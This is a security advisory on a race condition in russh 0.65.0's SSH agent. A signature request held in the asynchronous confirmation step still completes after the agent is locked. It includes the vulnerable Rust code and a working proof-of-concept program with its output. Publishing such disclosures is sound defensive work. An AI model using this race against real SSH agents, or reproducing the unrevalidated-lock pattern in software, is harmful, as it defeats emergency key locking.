let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;
In try_sign(), russh clones the private key from the shared store and drops the
store lock before awaiting the asynchronous confirmation callback:
let key = {
let blob = Bytes::decode(r)?;
let k = self.keys.0.read().or(Err(Error::AgentFailure))?;
if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {
if constraints.contains(&Constraint::Confirm) {
needs_confirm = true;
}
key.clone()
} else {
return Ok((agent, false));
}
};
let agent = if needs_confirm {
let (agent, ok) = agent.confirm(key.clone()).await;
if !ok {
return Ok((agent, false));
}
agent
} else {
agent
};
// No lock/key-state revalidation occurs here.
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?
.encode(writebuf)?;
While confirm() is pending, a second agent connection can successfully lock
the shared agent. When confirmation later returns true, the original
connection signs with its captured Arc<PrivateKey>.
The affected code is in
russh/src/keys/agent/server.rs
and
try_sign().
RFC 9987 section 5.7 requires a locked agent to suspend private-key signature
operations until it is unlocked. A fresh request is correctly rejected while
locked; only the request suspended across the await bypasses the lock.
The vulnerable asynchronous call was introduced by commit 62db6e7 as the fix
for GHSA-vp5q-ff62-jwqv. The behavior is present in released version 0.65.0
and current commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.
Expected behavior
After the agent reports a successful lock, no private-key signature operation
should complete until a successful unlock.
Actual behavior
A request that reached Agent::confirm() before the state transition signs
afterward. New requests made in the same locked or expired state fail, confirming
that the shared state transition took effect.
Proof of concept
The PoC is self-contained and uses in-memory duplex streams; it does not require
an SSH server, Unix socket, or attached binary file. With a current stable Rust
toolchain installed, create a new directory:
mkdir -p russh-agent-lock-toctou-poc/src
cd russh-agent-lock-toctou-poc
Create Cargo.toml:
[package]
name = "russh-agent-lock-toctou-poc"
version = "0.1.0"
edition = "2024"
[dependencies]
futures = "0.3"
rand = { version = "0.10", features = ["thread_rng"] }
russh = "=0.65.0"
tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] }
tokio-stream = "0.1"
Create src/main.rs:
use std::{future::Future, sync::Arc};
use russh::keys::agent::{
Constraint,
client::AgentClient,
server::{self, Agent},
};
use russh::keys::{Algorithm, PrivateKey};
use tokio::{
io::DuplexStream,
sync::{Notify, mpsc},
};
use tokio_stream::wrappers::ReceiverStream;
#[derive(Clone)]
struct DelayedConfirm {
entered: Arc<Notify>,
release: Arc<Notify>,
}
impl Agent for DelayedConfirm {
fn confirm(
self,
_key: Arc<PrivateKey>,
) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {
Box::new(Box::pin(async move {
self.entered.notify_one();
self.release.notified().await;
(self, true)
}))
}
}
async fn connect(
sender: &mpsc::Sender<std::io::Result<DuplexStream>>,
) -> AgentClient<DuplexStream> {
let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);
sender.send(Ok(server_stream)).await.unwrap();
AgentClient::connect(client_stream)
}
#[tokio::main]
async fn main() {
let entered = Arc::new(Notify::new());
let release = Arc::new(Notify::new());
let agent = DelayedConfirm {
entered: entered.clone(),
release: release.clone(),
};
let (sender, receiver) = mpsc::channel(4);
tokio::spawn(async move {
server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)
.await
.unwrap();
});
let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();
let public_key = key.public_key().clone();
let mut administrator = connect(&sender).await;
administrator
.add_identity(&key, &[Constraint::Confirm])
.await
.unwrap();
let mut attacker = connect(&sender).await;
let attacker_key = public_key.clone();
let pending_sign = tokio::spawn(async move {
attacker
.sign_request_signature(&attacker_key, None, b"attacker-controlled request")
.await
});
entered.notified().await;
administrator.lock(b"lock-password").await.unwrap();
println!("agent locked while confirmation was pending");
// Control: a request started after the lock is rejected.
let mut control = connect(&sender).await;
let control_result = control
.sign_request_signature(&public_key, None, b"post-lock request")
.await;
println!("new post-lock request accepted: {}", control_result.is_ok());
// The original request signs after the lock has taken effect.
release.notify_one();
let pending_result = pending_sign.await.unwrap();
println!(
"pre-lock request signed after lock: {}",
pending_result.is_ok()
);
assert!(control_result.is_err());
assert!(pending_result.is_ok());
}
Run:
cargo run --quiet
Observed on russh 0.65.0 with Rust 1.91.0:
agent locked while confirmation was pending
new post-lock request accepted: false
pre-lock request signed after lock: true
Impact
russh-based SSH agents that implement asynchronous confirmation are affected,
including agents exposed to remote SSH servers through agent forwarding. A peer
can begin a signature request while the agent is unlocked and hold it in the
confirmation phase. If the agent is subsequently locked, approving or otherwise
completing the stale confirmation still gives the peer a signature that the
agent's current state rejects for every new request.
This weakens emergency locking. The attacker does not recover private key
material, and exploitation requires a sign request to be pending across the
state transition and its confirmation callback eventually to return true.
Related
- Exploitation
- No known exploitation
- EPSS
- 0.11% chance of exploitation in the next 30 days, higher than 0.46% of CVEs
- CVSS
- 2.2 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N - Versions
- = 0.65.0 · fixed in 0.65.1
- Weakness
- CWE-367, CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 13, 2026 · first seen here 1 min ago